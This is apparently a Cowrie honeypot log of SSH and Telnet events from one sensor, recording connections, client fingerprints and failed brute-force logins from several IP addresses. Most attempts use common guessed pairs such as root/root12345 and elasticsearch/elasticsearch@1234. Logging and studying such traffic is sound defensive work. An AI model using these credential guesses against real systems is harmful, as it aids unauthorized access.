{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:c1:cc:f9:f3:56:80:26:be:b2:27:10:b0:98:08:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRIdjzz5W4buDnVtW5KFDVbJ86hTazzpMYmcWSRMM6ByEGFwDVCGY8DvMre5XbZRZ8RVmT2Z23QbTeZ5tKMy0ipJp7qzz/XcfvU1Jsq5RR0MYwzJLHUqfNwfhWMntyoYiqpvCWg6IU1cRuZen53LbIYDbO414sRijltnpTJuU1yTMgQJSThzbNnqxuS+tvOzcNf/qcgR2qdnClEQ6dhhRV3kEIidrNzPEhtBxJuvNvZglX3/HHBpphlg7VeuyxuHMH2eJ/keTeNm3EFtKMiLu/WiXGDq7fx7gVYjdORBEVSFAnqjXMohPRYip5+oDlU6w+qOM5L/TmuDabonr+r7ct","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.160847Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:48:de:e1:58:bf:32:cf:f0:74:2a:f2:c9:f6:31:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz+yG51iUq1K0NFgBo4nDmNuJTHK2aNpAHXSojsSxYwjjKLTVIpPZy3BA4vnJ1Yb8djkQ0t93xyN9eD99BJvid2dSThal2KaQx4JijLbChqmK40/XWZgNsqWz7B6aWV1BZkOzPtFyHowaxnaF+dLgAgGgG2P1p6AX53RQJjUcX3/7pyT08F2jkBw00zrGbhrLnoDvMN8ICx5PsVu5oTHQ7iuNpRobUNnxpNrdNKS4QLJBEB2ZNfRLuKMITTH8Dwi71OxdVwZIm+ll/0XgW4Bp2Sdr4nSaRMn5mmIwuyQyFIVW0F0sf5ffR1hD8Ch+bnMp6cEHiltmMECKKNoVuyLvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:48:de:e1:58:bf:32:cf:f0:74:2a:f2:c9:f6:31:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.167908Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:48:de:e1:58:bf:32:cf:f0:74:2a:f2:c9:f6:31:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz+yG51iUq1K0NFgBo4nDmNuJTHK2aNpAHXSojsSxYwjjKLTVIpPZy3BA4vnJ1Yb8djkQ0t93xyN9eD99BJvid2dSThal2KaQx4JijLbChqmK40/XWZgNsqWz7B6aWV1BZkOzPtFyHowaxnaF+dLgAgGgG2P1p6AX53RQJjUcX3/7pyT08F2jkBw00zrGbhrLnoDvMN8ICx5PsVu5oTHQ7iuNpRobUNnxpNrdNKS4QLJBEB2ZNfRLuKMITTH8Dwi71OxdVwZIm+ll/0XgW4Bp2Sdr4nSaRMn5mmIwuyQyFIVW0F0sf5ffR1hD8Ch+bnMp6cEHiltmMECKKNoVuyLvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.171520Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:ca:bc:ad:6d:f3:5e:fb:0d:8b:18:09:4a:c7:e3:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS4o1Cm3afShBUZai1q3HajeIqVNwu3XP4K3My7YlHhYc7WA0jt2vNqpx/7OhFxtnQybncXopV98k2Gz1NJ78DYuRbiB+SIlnpb+gJxVSO0IjSD00902j+xcKtJZyCGpHY6vteK0LWCvO9IKmG0It5M6xO2kRZ4BM5fIBmmk7Z+Q9XOXhNz4B4Mywvz3QyijmSY7evuuw0PyphfUX4ngiGsoTlu5GDHbO3U6o3GEdRW/8lHRgmB0x98gh0pLTfNe0/wjYcV/2Pf8EfMf0GuJFeQJHwN8ffGRrtK20vPHNaLrMJ0NwhKDUkmANYb14KjA061mc1M1yKqlA2tx94NMhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:ca:bc:ad:6d:f3:5e:fb:0d:8b:18:09:4a:c7:e3:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.181274Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:ca:bc:ad:6d:f3:5e:fb:0d:8b:18:09:4a:c7:e3:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS4o1Cm3afShBUZai1q3HajeIqVNwu3XP4K3My7YlHhYc7WA0jt2vNqpx/7OhFxtnQybncXopV98k2Gz1NJ78DYuRbiB+SIlnpb+gJxVSO0IjSD00902j+xcKtJZyCGpHY6vteK0LWCvO9IKmG0It5M6xO2kRZ4BM5fIBmmk7Z+Q9XOXhNz4B4Mywvz3QyijmSY7evuuw0PyphfUX4ngiGsoTlu5GDHbO3U6o3GEdRW/8lHRgmB0x98gh0pLTfNe0/wjYcV/2Pf8EfMf0GuJFeQJHwN8ffGRrtK20vPHNaLrMJ0NwhKDUkmANYb14KjA061mc1M1yKqlA2tx94NMhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.185196Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.193507Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37128,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae3f04e325d","protocol":"ssh","message":"New connection: 45.153.34.114:37128 (159.203.135.109:22) [session: eae3f04e325d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.373672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.385911Z","src_ip":"45.153.34.114","session":"eae3f04e325d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.467843Z","src_ip":"45.153.34.114","session":"eae3f04e325d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.805666Z","src_ip":"45.153.34.114","session":"eae3f04e325d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:07.894176Z","src_ip":"45.153.34.114","session":"eae3f04e325d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43760,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2712f9f44f2","protocol":"ssh","message":"New connection: 20.203.42.204:43760 (159.203.135.109:22) [session: d2712f9f44f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:08.310404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:08.314206Z","src_ip":"20.203.42.204","session":"d2712f9f44f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:08.482975Z","src_ip":"20.203.42.204","session":"d2712f9f44f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:09.191523Z","src_ip":"20.203.42.204","session":"d2712f9f44f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:10.364079Z","src_ip":"20.203.42.204","session":"d2712f9f44f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47888,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b599f34f7ca","protocol":"ssh","message":"New connection: 45.153.34.114:47888 (159.203.135.109:22) [session: 3b599f34f7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:14.953339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:14.958987Z","src_ip":"45.153.34.114","session":"3b599f34f7ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:15.044232Z","src_ip":"45.153.34.114","session":"3b599f34f7ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:15.300537Z","src_ip":"45.153.34.114","session":"3b599f34f7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:16.392466Z","src_ip":"45.153.34.114","session":"3b599f34f7ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43640,"dst_ip":"159.203.135.109","dst_port":22,"session":"34db4b76d0de","protocol":"ssh","message":"New connection: 45.153.34.114:43640 (159.203.135.109:22) [session: 34db4b76d0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:22.843943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:22.849029Z","src_ip":"45.153.34.114","session":"34db4b76d0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:22.968791Z","src_ip":"45.153.34.114","session":"34db4b76d0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:23.235015Z","src_ip":"45.153.34.114","session":"34db4b76d0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:24.332246Z","src_ip":"45.153.34.114","session":"34db4b76d0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":19683,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d0c019db9c","protocol":"ssh","message":"New connection: 154.117.199.5:19683 (10.17.0.5:22) [session: 69d0c019db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:24.704699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:24.937773Z","src_ip":"154.117.199.5","session":"69d0c019db9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:25.176370Z","src_ip":"154.117.199.5","session":"69d0c019db9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.214.19.41","src_port":3886,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f8bb463c6f","protocol":"telnet","message":"New connection: 112.214.19.41:3886 (10.17.0.5:23) [session: 03f8bb463c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:25.242055Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48660,"dst_ip":"159.203.135.109","dst_port":22,"session":"efe12e38388f","protocol":"ssh","message":"New connection: 103.75.199.4:48660 (159.203.135.109:22) [session: efe12e38388f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:26.384054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:26.388050Z","src_ip":"103.75.199.4","session":"efe12e38388f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:26.478397Z","src_ip":"103.75.199.4","session":"efe12e38388f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:26.752472Z","src_ip":"103.75.199.4","session":"efe12e38388f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:27.845213Z","src_ip":"103.75.199.4","session":"efe12e38388f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55688,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edf6357ae6e","protocol":"ssh","message":"New connection: 45.153.34.114:55688 (159.203.135.109:22) [session: 3edf6357ae6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:31.125952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:31.130856Z","src_ip":"45.153.34.114","session":"3edf6357ae6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:31.220576Z","src_ip":"45.153.34.114","session":"3edf6357ae6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:31.486422Z","src_ip":"45.153.34.114","session":"3edf6357ae6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:32.577547Z","src_ip":"45.153.34.114","session":"3edf6357ae6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44774,"dst_ip":"159.203.135.109","dst_port":22,"session":"af7cb784f21f","protocol":"ssh","message":"New connection: 45.153.34.114:44774 (159.203.135.109:22) [session: af7cb784f21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:39.548566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:39.553560Z","src_ip":"45.153.34.114","session":"af7cb784f21f","protocol":"ssh"}
